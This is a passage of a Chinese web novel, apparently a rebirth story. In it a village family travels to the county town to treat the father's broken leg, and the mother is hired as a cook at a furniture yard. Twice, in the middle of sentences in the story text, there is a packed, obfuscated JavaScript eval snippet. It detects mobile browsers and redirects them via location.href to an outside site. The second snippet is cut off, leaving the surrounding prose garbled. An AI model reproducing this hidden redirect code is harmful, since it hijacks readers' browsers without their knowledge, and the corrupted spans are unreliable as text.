董如萍今天念叨了他一天，他心里也总算是没有那么强烈想去的欲望了。 他昨天打牌白挣了一百多，加上白冬雪借的两百块，董如萍决定带他去县医院看看腿。 还说：“你没听你女儿做梦梦到你那腿一直没好啊，你要是急着跟秦泰山去边城，肯定就没时间去治腿，路上还不定受了什么罪，那腿能好得了？” “这个家以后还得靠你，舍不得这个钱，害的是一家子，是你一辈子！” 白天强彻底没去的想法了，觉得董如萍说的也对，有钱还是先去看腿吧。 听到女儿哭，董如萍也不拿衣服了，狠狠瞪了白天强一眼，将女儿抱起来：“不去，不去，爸爸不去，你爸爸之前是昏了头了。” 她一下下轻抚着白书佳的背。 待在母亲的怀里，感受到熟悉的气息，白书佳才慢慢平和了下来。 将女儿放到床上，董如萍道：“妈妈是拿自己的衣服呢，你爸的衣服也收拾两件，万一大夫说要住院呢。” 白天强插嘴：“不至于。” 董如萍不理会他：“那我也带两件。主要带我自己的衣服，我顺便就去冬雪姑子家的店看看，她们要是要人，我就不回来了。” 白书佳一愣，声音还有些哽咽：“那我和姐姐呢？” 董如萍：“你和姐姐还有爸爸回来啊，你爸爸腿还没好，还不适合出去找工，等他好了再说。” 白书佳有些闷闷不乐，瞥一眼白书玲，就见她还是一副不明所以的懵懂模样。 她姐姐可能还没搞清楚家里这两天到底发生了什么。 等董如萍躺到床上，白书佳挤进妈妈怀里：“妈妈，那明天我们一家人能一起去吗？” 董如萍：“你们去干嘛，你们留在家里，你姐会做饭，就一天，也饿不着你。” “可是你不回来了。”白书佳眼泪又滚落下来，这次是舍不得，她不想和妈妈分开。 她往上钻了钻，紧紧抱着董如萍的脖子：“妈妈，你带我，还有姐姐，一起去吧。” “我们是去给你爸爸看腿的，你们去多耽误事啊，听话。”董如萍也舍不得女儿，但她到底是去干正事的，不好带着两个女儿，“去一趟县里，多带你们两个，说不定车费还得多出一块钱呢。” 白书佳没有被糊弄过去：“我和姐姐这么小，不要车费。” “这你都知道。”董如萍好笑。 白书佳又去求爸爸：“爸爸，让我们去吧？” 白天强一回合都没坚持住，道：“要不就带她们去吧，书玲长这么大村都没出过……” “你好意思说，”董如萍突然就发作了，“我嫁给你这么多年不也是头一回去县里，以前你和你村里那些兄弟去县里，人家能带老婆去逛逛，你就听信你娘的，说什么去了要乱花钱，就不肯让我去。” 白天强：“我哪是不肯让你去，那不是实在没钱嘛……” “也就我这样远方的不知情才会嫁给你这种没用的……” 夫妻俩又开始翻旧账老调重弹，说得白书佳上眼皮打下眼皮，差点没撑住。 被睡着的白书玲不小心踹了一下屁股，早上跌到的屁股墩又酸痛了一下，白书佳才醒过神。 她爬到董如萍脖子边：“妈妈，我有一个主意，如果能从奶奶那儿要到钱，你就带我和姐姐去县城好不好？” 大早，董如萍和白夏荷做好了一家人的早饭。 姚老太在桌上提起白夏荷和白天阳的婚事。 白夏荷现在正谈着一个，在县里教小学的数学老师，姓于，说是能帮白夏荷调到县城里去。 姚老太边给白天阳剥鸡蛋边说：“这个月底于老师他们一家子过来，到时候要相看日子，最好是年底把婚事办了。天强，这事得你给你妹妹把着关。还有天阳的婚事，那媒婆说过两天去青田桥赶集的时候相看，萍啊，你也得给天阳把把关，我眼神不好，你得帮忙看看那姑娘到底过不过得去。” 董如萍冷着脸：“没空。” “怎么没空？”姚老太一愣。 董如萍：“你儿子闹着要去边城呢。” “什么，你当真要去边城？”姚老太调子拉得跟唱戏似的，瞪向白天强，“去什么边城，你哪来的钱去边城？” 从平福县去边城，得转两趟火车，三天两夜，路上花费不知几何，而且一般一去就是一两年，过年都不会回，可不是开玩笑的。 姚老太哦了声，恍然大悟：“看来你那天赢了钱说什么还给冬雪了，都是跟我扯谎的。” 白天强闷头喝菜汤，将煮得软烂的面条倒进嘴里，也不说话。 姚老太又瞪他：“还喝什么呢，你饿死鬼投胎？我告诉你，不许去。你去了这个家怎么办？地里好几亩的红薯洋芋还没收。” 董如萍插嘴：“还有明年的地呢，好几亩地年头要插秧年中要双抢，还要送公粮，全要指着我一个人呢。不去，就算瘸了腿也能帮我的忙啊。” 她颇有些阴阳怪气，惹得白天阳端着碗睨了她一眼。 白夏荷倒是一副无所谓的样子，大概是因为马上就要嫁出去了。不嫁出去，除了家里的家务，她也是不干重活的，她的工作比这个家谁都体面，姚老太除了偏疼白天阳，就最疼她这个小女儿。 不过白夏荷还是问了一句：“大哥，你真要去啊？家里怎么办？” 白天强还没回答，被老太太训斥董如萍的话盖了过去。 “你少在这加尖捏怪地说话。” 她骂完，又说白天强：“说了不准去就是不准去啊。” 这顿早饭吃得不欢而散。 姚老太搬来一条长板凳，就坐在堂屋窗沿下，等董如萍带着白书玲洗了碗，一家子大包小包地出门，姚老太一下站了起来。 “去哪儿？” 一家四口都扭脸面无表情地望着姚老太。 “我告诉你，你今天休想出这个门！你还记得你家里老的老小的小吗？你是不要我这个娘了？你要是敢出去，我就把你的腿彻底打断！” 白天强将行李猛地往旁边凳子上一砸，怒吼了一声：“行，你打断吧，打断，只要你打断，从此以后你就不是我娘！” 他这一声石破天惊，吼得董如萍带着两个女儿都愣在了那里。 白书佳更是没有想到。 大概前世白天强是借了秦泰山和白冬雪的钱偷偷跑的，行李都没带什么，姚老太董如萍都没来得及拦，白书佳模糊的记忆里完全没有这一段。 白书佳也没有想到，姚老太会对这个大儿子说话这么不留情面。 那条摔了的腿还没好呢，治也不给好好治就说要打断，任是泥捏的石雕的死人也会被气活。 白天强显是被寒透了心才会一改沉默突然爆发。 白天阳和白夏荷听到动静终于意识到不对，连忙从屋里跑出来拉架。 “行了妈，说话别这么难听，多伤大哥心啊。”白夏荷道，“大哥要去就让他去呗。” 白天阳不知道该说什么，只好道：“妈，算了算了。” 姚老太觉得自己也很伤心，扯着嗓子就要哭。 白天强却拄着拐杖就要往外走，根本不理会他娘。 周围又有出来看热闹的，还有路过的老太太问：“咋个回事哦姚大姐？” 姚老太还没回答，董如萍在旁道：“她大儿子要去边城，要挣治腿的钱，怕腿养不好，以后干不动家里的活了。” 有人便插嘴：“这治腿的钱都没有？腿伤的那么严重了？” 董如萍：“谁知道呢，反正村卫生站的说是断了，建议再去县医院拍个片子。那拍片子得多贵啊，咱们家穷，哪里 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小孩子天真无邪的话最是扎心。 这要是认真了，岂不是被人认为白大房家里已经穷到要砸锅卖铁了。就算不，那苛刻大儿子的名声传出去，人人都得笑她姚老太，虽然别人私下也没少笑，但以前面上多少过得去。 全场寂静，老太太张着一张嘴，也彻底哑巴了。 白书佳给出最后一击：“只要爸爸的腿能治好，他肯定就不想着去边城了，这样家里的红薯洋芋有人收了，明年家里的地也有人种了。” 好一会儿后，一家人从院子里出来，董如萍手上只拎了一个装着她自己衣服的小包，身后跟着白天阳。 白天阳笑着掐白书佳的脸蛋：“你个小丫头，伶牙俐齿得很。” 姚老太当着一众邻里的面，到底是不好刻薄了大儿子，而且她确实得留着大儿子在家干农活，养活她和小儿子两张嘴。 姚老太踅摸半天，抠抠搜搜勉强拿出了两百五十六块七毛，那七毛主要用来证明她尽力了。 既然给钱了，白天强也不好再喊着要去边城了，但姚老太不放心，看着董如萍将行李放下大半，却还拎着一个，还想检查。 董如萍便说了自己去县城干活的事，还说：“我就在县城，家里有什么事也能照应得到，每个月挣几个钱总比在家里坐着吃空的好吧。” 姚老太又想说不能去，董如萍要是走了，地里的活家里的家务谁来干，董如萍看出她想法，翻了个大白眼：“不让我去我就偷着去，你半夜别睡觉，一直坐我屋门口，我看你守不守得住。” 姚老太想想确实没办法，把话咽回去，转而说：“那你工资是不是得拿点回来，这个家还得养吧？” 董如萍：“拿拿拿，等天阳结婚了我包个大红包行了吧，那地里的红薯洋芋卖了钱也都给他办喜事。” 至于拿不拿，到时候再说，那地里的红薯洋芋全是她种的，到时候真卖钱了，就算给白天阳娶亲的红包里。反正进她手里的钱她是不会多拿出一分的，只是明面上得先把老太太糊弄过去。 姚老太也了解董如萍，自是不怎么信，但事已至此，她也不好再闹，又问为啥非得带两个小的去。 董如萍：“带她们出去逛逛。” 姚老太心里不得劲，阴阳怪气她是从她手里抠出钱了要带孩子出去潇洒，于是非得让白天阳也跟上。 嫂子一贯对自己没好脸色，白天阳逗过一下白书佳就跑到他哥身边去了，但他哥这次也没给他好脸色，一直闷着头拄着拐往前赶路。 搭车很顺利到了镇上，白天阳讪讪蹭到白天强身边，对白天强道：“哥，你和嫂子就安心去县里吧，地里的活多少我还是能干点的。” 又说：“我就不和你们一起去县里了。” 被这么一家子冷脸对着，他也不想找没趣，还不如在镇上自个找乐子去。 5. 第 5 章 等白天阳一走，董如萍的脸就不再跟牛皮筋似的拉着了。 一家人站在路边等大巴车。 白书佳牵着姐姐的手好奇地望来望去。 如今的黄坪镇和个大点的村子差不多，除了主干路是水泥铺就的，其他地方都是黄泥巴路，主干路边，也只有她们站的这处集中有几家服装店、大排档、小卖铺，路边也鲜有摆摊的。 白书佳扫了一圈就不再看，反倒是白书玲被她带得四处张望，最后对着大排档冒出的饭菜香气流口水。 董如萍：“早上没吃饱啊，眼睛都看穿了。” 她心情还不错，这话倒是没有责备的意思，只是白书佳还是缩回了头。 董如萍难得安抚了一句：“等到了县里再找个摊子买点吃的，店里的东西不知道有多贵。” 大巴车一块钱一个人，小孩不要钱，但只能坐大人腿上，考虑到白天强的腿，董如萍给白书玲多付了五毛钱。车上没有太多人，一家人都找到了位置。 董如萍拎着白书玲坐好，道：“你可得感谢你妹妹，要不是你妹妹出主意从你奶奶那儿抠到钱了，你今天还想去县里？” 白书玲看了看白书佳，大着胆子问了一句：“妹妹做什么了？” “你妹妹可机灵得很，”董如萍抱着白书佳坐下，疼爱地在女儿脑门上重重亲了两下，“要我这个人直来直去，不去边城了就是不去边城了，要去县里看病就是去县里看病，哪里还晓得要装作去边城，让那老太婆急一急，还能急出钱来。” “幺儿今天那两句话也说得好，看把那老太婆脸都说黑了。” 说到这，董如萍就畅快得很。 但隔着一个过道，白天强却重重叹了口气。 董如萍瞪他一眼：“现在看清你那个娘是个什么人了吧，你家没养牛，你就是你家的牛，就是你娘眼里养来专门干活的畜生。” 董如萍还压着嗓子学话：“什么我爹娘说了，我是老大，我就是要担起这个家里的担子。那说起来，骄傲的呀。那老黄牛当然得担担子了，不然养来耍着玩的吗。你还不如人家老黄牛呢，你看你二房叔叔家里那头牛，有点感冒还得找村里的兽医瞧瞧，那几天都还要养在栏里挡着风，最后还给养老送终。你是个人，你娘看着你瘸了腿也得招呼你去地里挖土，还舍不得看腿钱。你说你比得上人家老黄牛哪点？” “行了，别说了。”白天强捂上脸靠进了车座里。 大概是往事种种浮上心头，白天强又叹息一声：“也不是第一回了，唉。” “你也知道不是第一回了。”大概是看出白天强有些痛苦，董如萍这次的声音放轻了些。 白书佳隔着过道，轻轻拉住了父亲的衣角。 车子晃晃悠悠坐船一样开了两个小时。 姐姐白书玲素来身体强壮，吃得香睡得好，白书佳打小却是个病秧子，一路差点没把她胆汁晃出来。 董如萍和白天强都心疼坏了。 “都说不带你们来了，非得跟着来。” 白书佳蹲在树边，吐又吐不出来，咽也咽不下去，被母亲用力拍了两下背，更难受了。 她晃了一下身子，脚上踩到什么，刚要起身，眼睛却突然被脚下定住。 “这是什么？” 瞧着是一张黑色的皱皱巴巴的纸，被她用脚推开叶子泥巴后露了出来。 直觉告诉她这是钱，普通的纸一般不是这个颜色也不是这个形状，而且上面还隐约有印刷的数字。 董如萍比白书佳更眼疾手快，一把将那张纸抄了起来。 “这是十块……”她还没说完，哑在那里。 掸掉上面的灰土碎屑，展开后，十后面竟然又多了一个零。 竟然是张百元大钞。 “这真是发财了。”捡十块都不得了了，竟然捡到一百块。 白天强在车上也难受了一路，此刻就是再灰暗的心情，看到这张白捡的钱眼里也有了亮光。 “快走快走。” 董如萍一手抄起白书佳，一手拉着白书玲，飞快跑出了起码一里地。 白书佳被她手臂压着胃，差点又被颠吐。 “妈，妈，这张钱看起来都埋了很久了，不会有人找你要回去的。” 董如萍一想也是：“还是幺儿聪明。” 不过她还有说法：“捡来的钱不能久留，留不住。” 白书佳眼睛一亮：“那可以买很多很多好吃的啦？” “你们姐妹俩真是，就知道吃。”董如萍嗔怪地说完，在白书佳脑门上又叭叭亲了两口。 等母女俩开始商议去哪儿吃，白天强拄着拐杖终于赶上来了。 “怎么跑这么快。” 董如萍笑话他：“快看，幺儿，你跛子爹跟□□似的蹦着就来了。” 白天强也不生气：“是，就你们娘仨腿好跑得快。” “先去医院吧，”董如萍把白书佳放下来，“人民医院往哪儿走啊，你腿脚不方便，坐个车过去？” “没多远，两条街，走过去就行。”白天强还是舍不得钱。 董如萍却懒得理他，找到一个开三轮的，不一会儿就谈好了价。 到了医院，挂号、面诊、拍片，都是白天强自己问着找到的。 面诊时夫妻俩就被大夫训了一顿。 “脚上的伤都起脓了，你也是能忍。这看着都这么严重了，肿成什么样了，还敢拖到今天才来。” 等拍完那什么丝光，要下午才有结果，一家人便在医院附近找了个饭店吃饭。 除了白天强以前有幸跟着隔壁村的包工头老板吃过一次国营饭店，一家人还是第一次下馆子，董如萍充满了期待：“都能开店了，肯定做得很好吃。” 白天强：“那可不一定。” “你吃过几次就说不一定，都能开店了，不好吃谁买账啊？” 白天强：“我以前听人说过，有些人开店哪有手艺，纯就是运气好，自己家铺子地段好。” “这年头开饭店的也没几家吧，敢开的肯定手艺好。”董如萍还是不信，还寻求白书佳的认同。 “幺儿你说是不是？” 白书佳才不掺和他们幼稚的争论：“等菜上来就知道了。” 她一眼看到对面便利店摆着一排娃哈哈，伸出短手：“妈妈我要喝那个。” 董如萍大方地直接买了一排。 一共四瓶，正好一家四口一人一瓶，白书玲喝得眼睛亮晶晶的，连喝两大口后，开始小口小口地品，抱着瓶子喝得很是珍惜。 白书佳也很怀念这个味道。 当年她和母亲随父亲一起去边城，其实也有过一些美好回忆。父亲踩黄包车经常半夜才到家，母亲会给父亲准备夜宵，煮碗面条或者做个炒饭，父亲偶尔也会带一些水果零食回来，其中就有娃哈哈，以至于这成了白书佳上辈子最爱喝的奶饮料。 不过她上辈子长大后几乎不吃零食。 剩下两瓶，董如萍和白天强连吸管都没拆，还想留给两个女儿。 等白书佳喝完，点好的菜也上来了。 一份辣椒炒肉，一份肉末煎豆腐，一份炒豆芽，米饭不限量，共八块钱。 董如萍先给白书佳夹了一筷子肉片，才夹起一大筷塞进自己嘴里，结果嚼了没两下就像牛吃草一样顿在那里。 但白天强唏哩呼噜扒着饭吃得很香，白书玲也一大口一大口地往嘴里送饭。 白书佳看得有些困惑，不知道到底是好吃还是不好吃。外面的筷子略微大一些，她有些拿不稳，好半晌才夹起一筷肉，一嚼，也停下了。 “幺儿，好吃吗？”董如萍将饭菜都咽下去，问白书佳。 白书佳拧着小眉头：“不如妈妈做的。” 肉有些柴，调料都好像没怎么入味，开店也就一般般的水平吧。 “是吧。” 董如萍找到了知音，很高兴，但看到吃个不停的白天强和白书玲，她又不满：“你们是尝不出味儿吗？” 白天强喝了口水，理所当然道：“外面饭店不就这个味，那肯定不如你的。” 董如萍满意了，瞥一眼大女儿，啧了声：“哎，书玲这丫头，有吃就够了，也不晓得什么味不味的。” 但白书玲见大家都看她，母亲还盯着她喃喃说话，她还是停下了筷子，思考了两秒，回了两个字：“好吃。” 谁知她说完，董如萍就不搭理她了，丝毫没有面对妹妹的笑意。 她回答错了吗，刚才不是在问好不好吃吗？ 白书玲有一点点委屈，刚才的好胃口，一下没了，拿着筷子也不知道该不该扒饭。 她今天其实很高兴，爸爸妈妈会带她和妹妹一起出门，还是来县城下馆子，她以前听村里别的小伙伴说县城饭店好吃，她都很羡慕，只是她知道她不可能出来吃，就算爸妈要出门，应该也只会带妹妹。 但是今天，她竟然跟着一起出来了，她实在太开心了，即使饭店的味道并没有村里玩伴说的那么好。 就在白书玲垂头默默重新扒饭的时候，白书佳突然问了一句：“姐姐，饭店的饭是不是没有妈妈做的好吃？” “嗯，”白书玲自然地应了一声，“妈妈做的最好吃。” 虽然妈妈好像不怎么喜欢她，但她很喜欢妈妈，还很喜欢妈妈做的饭。 “看吧，姐姐也觉得妈妈做的很好吃， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817177|190947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐只是不善于表达，其实姐姐和我都最喜欢妈妈做的饭了。” 白书佳凑过去抱住了董如萍的胳臂。 董如萍哼笑一声：“行，就你嘴巴甜。” 她给两姐妹分别夹了一筷子肉：“好不好吃都要多吃点，吃完，不能浪费。” 下午还是又等了两个小时才拿到白天强的片子。 医生看过后说有一点严重，要打石膏，只用夹板固定稍微动一下就很容易错位，就算好了，以后也容易变成跛子。 还开了一些消炎止痛生肌养骨的药，装了一大袋子。 董如萍心有余悸：“还好还是来了县医院。” 白天强也满心庆幸：“还好你坚持。” 董如萍不领情：“村卫生站的时候我和你娘吵，你还让我安静。” 白天强连忙讨饶：“我那时都疼得脑子不清醒了。” 晕头转向的，只想安静一会儿，他都没听清她们婆媳在吵什么。 等打完石膏出门，就得去冬雪姑子那儿了。 董如萍只知道一个店名，说：“这店在哪儿你晓不晓得？” 白天强每次来县城都有正事，这店没去过哪儿知道，便说出医院打听一下。 却在这时一个银发老太太温声问：“是晓红那家南瓜饼子店不？” 董如萍低头：“是是，刘晓红，您知道？” 老人正坐在白书佳坐过的椅子上，将白书佳抱在怀里，闻言笑道：“我知道，一会儿你们跟我一起过去吧。” 老人姓齐，孙子摔了一跤，也打着石膏瘸着个腿，这是第二次来复查。 老人身边跟着儿媳，挺着个半大的肚子，坐在白书玲坐的位置上，正拉着白书玲说话。 原来这家人过来，医院走廊已经没位置了，白书佳便带着姐姐让了座。 出医院的时候，是老人儿媳的弟弟开着小货车来接。 货车车斗里还有一些新鲜的木材和新打的家具，闻着一股生漆的味道。 齐老太的儿媳孟菲菲很和气：“你们先委屈一下，很快就到了。” 董如萍和白天强忙道：“不委屈不委屈，太感谢了。” 果然不远，大概开了两三分钟就到了齐家的院子。 那屋子修得气派，是栋两层高的房子，看着很有设计，墙外面还贴了瓷砖，院子里还有月季、葡萄藤探出头来。 停车后，男人将外甥从后座抱下来：“都坐上轮椅了，现在老实了吧。” 说着还在外甥屁股上拍了一巴掌，小男孩扭头看到两双清澈的眼睛，脸红成了猴子屁股。 “舅舅你烦不烦。” 男人又把老太太和姐姐接下来，问：“蔡姐呢，怎么不出来接你们？” “可能没听到动静吧。” 男人扬手便拍在铁门上。 不一会儿，一个妇人急急忙忙赶出来：“哎哟，我在屋后头打扫卫生都没听到，齐老师菲菲你们回来了呀。” 她说着先扶住了齐老太太。 男人看得皱眉：“你先把希燃推进去，齐老师自己会走。” 蔡姐“哦哦”了两声，才回过神来，连忙推姚希燃进门。 等齐老师跟在孙子姚希燃后面都进了屋。 男人才道：“这个蔡姐还是不行，马马虎虎的，给厂里男人做饭还行，照顾人不行，也就是让你过渡两天，到时候给你们找个新的，再让她回厂里。” 孟菲菲却道：“不用给我找了，你给你厂里找就行。我这儿，人老实听话不偷鸡摸狗比什么都强。” “这倒是。”他摸摸后脑勺，“上回那个我都和爸说了，他前几天回村里，村头村尾都骂遍了，这小偷小摸的真讨厌，穷疯了啊，都是一个村沾亲带故的亲戚……” “行了，不用说了，现在有能用的就行。” 孟菲菲打断了孟庆的话，她注意到一旁白天强一家探头探脑，一副想打断他们说话又不好的样子。 她知道这家人想问什么，直接道：“你们跟我来吧，晓红南瓜饼店就在那边不远。” 白天强和董如萍连连道谢。 一家人跟着孟菲菲拐了一个弯出去，竟是一条大街，白天强一眼看到了南瓜饼店：“找到了找到了。” 夫妻俩再次谢过孟菲菲。 孟菲菲让他们不用客气，道：“我也正好过来买点点心，顺路的事。” 董如萍和白天强带着两个孩子过街。 只是走到店门口，却见店里生意也算不得忙，还有个姑娘在那边打瞌睡边守着。 店门口摆着好些点心，南瓜饼，花生糖，桃花酥，闻着又甜又香，连蜜蜂都被引过来了，嗡嗡地想采蜜。 6. 第 6 章 “不好意思啊大哥嫂子，我男人的堂侄女儿闹着不读书了，要过来帮忙，中秋节那天就来了。” 冬雪姑子刘晓红在后面做点心，身上一股热烘烘的甜香，她用围裙擦了擦手，使唤旁边一个姑娘：“快去取些南瓜饼花生糖来给叔叔阿姨。” “不用不用，不用客气，哎，主要是我之前一直拿不定主意，你生意忙，急着要人，又是自家侄女，正常的正常的。” 董如萍连连摆手。 但刘晓红人也客气，执意要董如萍拿着那袋点心：“给两个孩子吃。” “你们这一路也辛苦了吧，大哥腿还伤着，是去医院看了？” “是啊，幸好没什么大事，这次打了石膏就好了。” 刘晓红很过意不去，要留他们吃晚饭，董如萍哪能答应。 “不用不用，我们趁早回去，再吃晚饭车没了天也黑了，我带着两个孩子，你这大哥腿还伤着，得抓紧回去。” 董如萍让刘晓红千万不要再留，带着白天强连忙从店里退了出来。 一家人走到路边，都是说不出的失落。 董如萍扶着树叹了口气，最后拍了一巴掌：“算了，今天带你来医院看过腿，免了你以后变跛子的祸处，还白捡了一百块，也算两个月工钱呢，没白来。” 白天强拍拍老婆的背：“走吧，回家，以后有机会还能有活的，等我腿好了，我也能来县里找活，说不定能给你留意到合适的。” 白书佳心里也有些难受，她还想着一家人能留在县城呢，就这么回去了，还不知道哪天能再出来一趟，实在让人不甘心。 到了路边，白天强去找车，白书佳瞥到一边停着的货车，眼睛蓦然一亮。 董如萍挎好包，拉过白书玲，刚要去牵白书佳，就见小女儿一溜烟跑了出去。 “你干嘛去啊？” 董如萍急坏了。 白书佳一路小跑，在一家米酒店门口停下来，拉住一个正和人说话的男人：“叔叔，你家厂子是不是要找厨子做饭呀？” 男人下意识问：“你谁啊？” 等低头看到一个才到他大腿根的小萝卜头，仰着白净的小脸，眼睛亮晶晶，笑得还有个梨涡，他声音陡然就软了下来。 “哎哟，是你啊。” 白书佳“哇”了一声：“叔叔，你记性好好呀，你还记得我？” 孟庆好笑：“这才过去几分钟，扭了个头还能不记得？你爸瘸着腿，你妈要抱你姐姐，还是我抱你上下货车的呢。” 他看白书佳第一眼就觉得这小丫头片子顺眼，把白天强推上车后，本来董如萍要抱小女儿上车，他一把就抢先抱了过去。 白书佳嘴还甜得很，上了车便说：“谢谢叔叔载我们，叔叔你力气真大，一下就抱起我了。” 她才几两重，能不一把抱起吗，差点没把他逗笑。这孟庆能不记得吗。 “你有什么事吗？” 见他抓着自己不放，孟庆弯下腰问她。 这时白天强和董如萍也带着大女儿过来了，有些不好意思地想让白书佳回到身边。 白书佳却不为所动，问孟庆：“叔叔，你厂里是不是要招人做饭呀，我妈妈会做饭，她做得特别好吃。” “原来是给你妈找工作来了。”孟庆把她抱起来，看向董如萍和白天强，“你们不是来城里看腿的吗？” 董如萍意识到这可能是个机会，连忙解释：“是来看腿的，但我今天本来也是要来上工的，熟人开了家点心铺子，要人帮忙，结果我去了后，她却说她家堂侄女儿已经去了，就不好再要我了。” “那你都会做什么菜？” “我老家是南省的，嫁来河省已经七年了，南省的菜河省的菜都会做，我爹以前专门给村里做杀猪菜，还掌过红白事的厨，我跟着学了一点。” 董如萍还要列举，孟庆却又问：“那你来我厂里做饭，你老公孩子怎么办？” “他们回去，家里还有奶奶。” 孟庆便不再说什么，直接抱着白书佳回车：“先上来吧，今晚过去，先试做一次，看看效果。” “你们是哪里人，怎么称呼？”他一边把白书佳往车里塞，一边问董如萍。 董如萍心里有些着急，暗暗吐槽这莫不是人贩子，一边回他：“我们是樟岗村人，我姓董，我男人姓白，叫白天强，樟岗村六组白青水家……” “哦，樟岗村，那个谭漆谭老板是你们那儿的吧？我以前还给他们家送过家具。” “对对，他是四组的，而且去年谭老板就把一家人都接去省城了。” “谭老板这个人确实厉害，听说在M国做玉石生意发了一笔大财。”孟庆啧声，推了一把白天强，帮他上车。 董如萍也唏嘘，就是这个谭老板发了财，大家才一窝蜂往边城跑，以为人人都是谭老板。 提到共同认识的人，大家才总算没那么客气，董如萍也放下了那点防备。 孟家家具厂开在县城边郊林场，说是厂子，其实就是一排红砖平房，一大圈栅栏围着一片空地。 空地上摆了许多的新鲜木材。 另外还有一个大棚，里面是处理好的木材。 加上孟庆，厂里有五个男人，抬木材的抬木材，削木头的削木头，看不到女人影子。 “这边是木材处理厂。” 家具制作手艺是他们孟家的绝学，是不可能外传的，因此真家具厂建在挨着门店的地方，在那边工作的还都是亲戚。 白天强感慨：“你们家这家具厂开得还挺大的，都是卖实木家具？客人是到厂里来订家具？” 孟庆很自豪：“有到厂里来的，还开了店，得展示啊，现在县里市里都有店。大家都很认我爸的手艺，我现在还在学着呢。” “那你学成肯定不得了，自古老师教徒弟，都是青出于蓝而胜于蓝。” 白天强绞尽脑汁文绉绉地拍了句马屁，倒是把孟庆拍高兴了。 他带着一家人找到角落的一个砖房：“你们就住这里吧，等晚上让老刘搬到另一间房去。厨房就在隔壁。” 白天强张嘴：“那个，我能不能……” 他还没问完，被董如萍拉住。 “这时间也不早了，不如我现在就准备给大家做饭吧？” “行，你可以去厨房看看，今天时间太晚了，要是食材不够，你也先将就着做，反正大家也不挑，能吃饱油水够就行。” 孟庆还有别的事，摸了把白书佳的小脑袋出了门。 白天强拉过董如萍：“他这有地方住，我是想问问我能不能也留下来，我腿瘸了手还是好的，总能帮着干点杂活。这一群男人，你一个女人住在这里，这谁放心？” 董如萍瞪他一眼：“八字还没一撇呢，你没听人家要先试啊，万一不行呢，你着那个急。” “怎么可能不行，”白天强对老婆的厨艺是放一百万个心，“你肯定行。他们吃了要是赶你，那是他们山猪吃不了细糠。” 董如萍被逗笑了：“你今天还是文化人呢。” “这算什么文化人。” 他也就上过几年小学，但几句俚语还是知道的。 “行了，先忙吧，等他们吃了，觉得好吃，肯定好说话，到时候再提你的事也不急。” 白天强便不再多说，跟董如萍进厨房帮忙。 厨房也是个大棚子，只挡雨不遮风。 大概是做饭的阿姨被调走了，大家随便应付，整个厨房乱成一团。 董如萍先整理了一下，散倒的面拾起，砧板菜刀用水冲了，灶台抹了。 乱扔的筷子碗被白天强捡进大盆里，找来洗洁精搓洗，白书玲帮忙开了水龙头的水，拖着塑料水管往大缸里放水。 白书佳则蹲在一旁捡那堆乱七八糟的青菜。 一家人齐心协力，愣是收拾了快一个小时才把厨房收拾清白。 董如萍清点了一下厨房的食材。 肉还有一大块，闻着没有异味，一只剖好的鸡，只是鸡毛还没清干净。 另有毛笋、干香菇、土豆、青菜等蔬菜，干辣椒、青辣椒也都有。 “够了够了。” 董如萍像点兵的大将军，胸有成竹：“书玲和爸爸剥毛笋，书佳帮妈妈摘小白菜……哟，你已经摘好啦？那让姐姐给你倒水，你俩一起洗，别把衣服弄湿了。” 董如萍大刀阔斧地开干。 等天色彻底黑下来，厂里的大灯也亮了起来。 一群男人不干活了，只等着吃，便坐到棚里的桌子那儿开始打牌。 有人问：“孟老板，你又找了个做饭的呀？” 孟庆抽着牌，“嗯”了声：“总不能让你们一直随便应付。” “还是孟老板人好。” “就是不知道这新来的做的菜能不能行。” “肯定不如老刘老婆啊，蔡姐那菜做得油水是相当足。” “那是，不好也不会让孟老板送去给自家妹妹当保姆。” 那叫老刘的便嘿嘿笑：“是孟老板看得起，我老婆做菜也就那样……” 他正要谦虚几句，却有人打断他。 “嘿，什么味道，好香。” “是炖鸡的味道吧？” “鸡好了？” “还呛鼻子，炒什么呢？” 厨房味道一起，饿了一下午的男人们都坐不住了。 “马上好马上好，”白天强早竖着耳朵听那边动静，连忙道，“过来先收拾了下厨房，导致饭菜做得有点晚了，不过很快就好了。” 大家都表示理解，他们也知道自己这几天干了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两道素菜就不说了，那香菇炖鸡也是香到了众人肠肚里去。 “我们本来还担心那鸡被我们毁了呢，还好董姐你来了。” 年纪大的也跟着叫董如萍董姐。 “这鸡也不是童子鸡，怎么做的这么嫩？” 董如萍笑道：“是高压锅压的。” “以前蔡姐压的也没这么香啊。” 这话一出，本来就不说话的老刘脸上就更沉默了，不过他扒菜的手速是一点也没落下。 这顿饭称得上是酒足饭饱，不仅是他们这几天吃得最好的，还是他们来这里工作这么长时间吃得最好的一顿了。 平时孟庆不来，伙食也没这么好，但只看董如萍的手艺，就算是几道小菜，恐怕也能香到让人多吃几口饭。 孟庆很满意，感觉自己大马路上捡到了个宝。 他问董如萍：“一个月五，六十，你干不干？” 他觉得五十多少有点对不起董如萍的那手好菜，有这手艺就是去饭店当大厨都使得。 能比之前说好的点心铺的活还多十块，董如萍哪有不干的，连连答应：“干。” 白天强则忙道：“孟老板，我虽然瘸着腿，但我也能干些活，我能不能也留下来？” 孟庆有些犹豫：“但是你能干的也不多吧……” “我不要工资也行，就包个吃住，主要我要是回去，我老婆一个人在这，你这厂里又都是不认得的人……” 白天强说的委婉，孟庆反应过来了，道：“那行，你也留下来吧。” 不给工资，仅是吃住花费不了多少。而且他已经跟董如萍确定了要留下她，其他人也都喜欢她做的菜，不好再变卦了。 董如萍和白天强都喜出望外。 “那你们两个女儿呢？让人来接回去？” 白书佳一惊，连忙抱紧了董如萍的腿：“妈妈我们不要走，我们不要回去跟奶奶。跟着奶奶我和姐姐会饿死的。” 董如萍有些尴尬：“不要闹了幺儿，奶奶怎么会饿死你们。” 